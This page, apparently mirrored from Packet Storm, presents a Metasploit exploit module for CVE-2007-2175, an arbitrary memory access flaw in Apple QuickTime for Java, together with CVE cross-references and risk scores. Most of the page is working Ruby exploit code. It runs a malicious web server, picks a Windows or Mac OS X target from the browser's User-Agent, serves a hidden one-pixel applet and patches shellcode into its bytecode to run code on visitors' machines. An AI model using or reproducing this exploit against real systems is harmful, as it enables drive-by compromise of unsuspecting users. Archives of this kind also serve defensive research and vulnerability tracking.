Apple QTJava toQTPointer() Arbitrary Memory Access

🗓️ 27 Oct 2009 00:00:00Reported by H D MooreType

packetstorm🔗 packetstormsecurity.com👁 41 Views

Exploiting arbitrary memory access vulnerability in Quicktime for Java AP

Reporter	Title	Published	Views	Family All 14
Circl	CVE-2007-2175	20 Sep 201000:00	–	circl
Check Point Advisories	Apple QuickTime for Java toQTPointer Function Memory Corruption (CVE-2007-2175)	22 Mar 201000:00	–	checkpoint_advisories
CVE	CVE-2007-2175	24 Apr 200716:00	–	cve
Cvelist	CVE-2007-2175	24 Apr 200716:00	–	cvelist
Tenable Nessus	Quicktime < 7.1.6 quicktime.util.QTHandleRef toQTPointer Method Arbitrary Code Execution (Mac OS X)	2 May 200700:00	–	nessus
Tenable Nessus	QuickTime < 7.1.6 quicktime.util.QTHandleRef toQTPointer Method Arbitrary Code Execution (Windows)	2 May 200700:00	–	nessus
NVD	CVE-2007-2175	24 Apr 200716:19	–	nvd
Prion	Design/Logic Flaw	24 Apr 200716:19	–	prion
Prion	Code injection	24 Apr 200716:19	–	prion
RedhatCVE	CVE-2007-2176	30 Oct 201509:18	–	redhatcve

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
#  
# This module acts as an HTTP server  
#  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apple QTJava toQTPointer() Arbitrary Memory Access',  
'Description' => %q{  
This module exploits an arbitrary memory access vulnerability in the  
Quicktime for Java API provided with Quicktime 7.  
  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'hdm', # Original exploit for Mac OS X PPC / Win32  
'kf', # Added support for Mac OS X X86  
'ddz' # Discovered bug, provided tips  
],  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2007-2175'],  
['OSVDB', '34178'],  
['BID', '23608'],  
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-023.html'],  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => ''  
},  
'Targets' =>  
[  
#  
# Problem with generic payloads + regenerate_payload still :(  
#  
# [ 'Quicktime 7 Automatic',  
# {  
# 'Platform' => ['win', 'osx'],  
# 'Arch' => [ARCH_X86, ARCH_PPC]  
# }  
# ],  
[ 'Quicktime 7 on Windows x86',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86  
}  
],  
[ 'Quicktime 7 on Mac OS X PPC',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_PPC,  
}  
],  
[ 'Quicktime 7 on Mac OS X x86',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86,  
}  
],  
],  
# 'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 23 2007'  
))  
end  
  
  
def exploit  
# load the class data  
path = File.join(Msf::Config.install_root, "data", "exploits", "QTJavaExploit.class")  
fd = File.open(path, "rb")  
@class_data = fd.read(fd.stat.size)  
fd.close  
  
super  
end  
  
  
def on_request_uri(cli, req)  
  
# Create a cached mapping between IP and detected target  
@targetcache ||= {}  
@targetcache[cli.peerhost] ||= {}  
@targetcache[cli.peerhost][:update] = Time.now.to_i  
  
if (target.name =~ /Automatic/)  
case req.headers['User-Agent']  
when /Windows/i  
print_status("Choosing a Windows target")  
@targetcache[cli.peerhost][:target] = self.targets[1]  
when /PPC Mac OS X/i  
print_status("Choosing a Mac OS X PPC target")  
@targetcache[cli.peerhost][:target] = self.targets[2]  
when /Intel Mac OS X/i  
print_status("Choosing a Mac OS X x86 target")  
@targetcache[cli.peerhost][:target] = self.targets[3]  
end  
end  
  
# Clean the cache  
rmq = []  
@targetcache.each_key do |addr|  
if (Time.now.to_i > @targetcache[addr][:update]+60)  
rmq.push addr  
end  
end  
  
rmq.each {|addr| @targetcache.delete(addr) }  
  
  
# Request processing  
  
if (not req.uri.match(/\.class$/i))  
  
# Redirect to the base directory so the applet code loads...  
if (not req.uri.match(/\/$/))  
send_redirect(cli, get_resource() + '/', '')  
return  
end  
  
# Display the applet loading HTML  
print_status("Sending HTML")  
send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })  
return  
end  
  
# Send the actual applet over  
print_status("Sending applet")  
send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })  
  
# Handle the payload  
handler(cli)  
end  
  
def generate_html()  
return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"  
end  
  
def generate_applet(cli, req)  
  
this_target = nil  
if (target.name =~ /Automatic/)  
if (@targetcache[cli.peerhost][:target])  
this_target = @targetcache[cli.peerhost][:target]  
else  
return ''  
end  
else  
this_target = target  
end  
  
# make a copy..  
data = @class_data.dup  
  
# 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86  
idx_targ = data.index("\x03\x10\xcc\x54")  
  
# 1024 bytes for shellcode  
idx_code = data.index("\x03\x10\xf0\x54")  
  
# Handle Mac OS X PPC  
if (this_target.arch.include?(ARCH_PPC))  
tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)  
data = patch_bytecode(idx_code, data, tp.encoded)  
data = patch_bytecode(idx_targ, data, "\x01")  
end  
  
# Handle Mac OS X x86 / Windows x86  
if (this_target.arch.include?(ARCH_X86))  
  
if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))  
tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)  
data = patch_bytecode(idx_code, data, tp.encoded)  
data = patch_bytecode(idx_targ, data, "\x03")  
end  
  
if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))  
tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)  
data = patch_bytecode(idx_code, data, tp.encoded)  
data = patch_bytecode(idx_targ, data, "\x02")  
end  
end  
  
return data  
end  
  
def patch_bytecode(off, data, buff)  
  
cnt = 0  
off -= 1  
while (cnt < buff.length)  
cnt += 1  
while (! (data[off-1] == 0x10 && data[off+1] == 0x54))  
off += 1  
end  
data[off]=buff[cnt-1]  
off += 1  
end  
  
return data  
end  
  
  
end  
`

27 Oct 2009 00:00Current

0.6Low risk

Vulners AI Score0.6

EPSS0.8532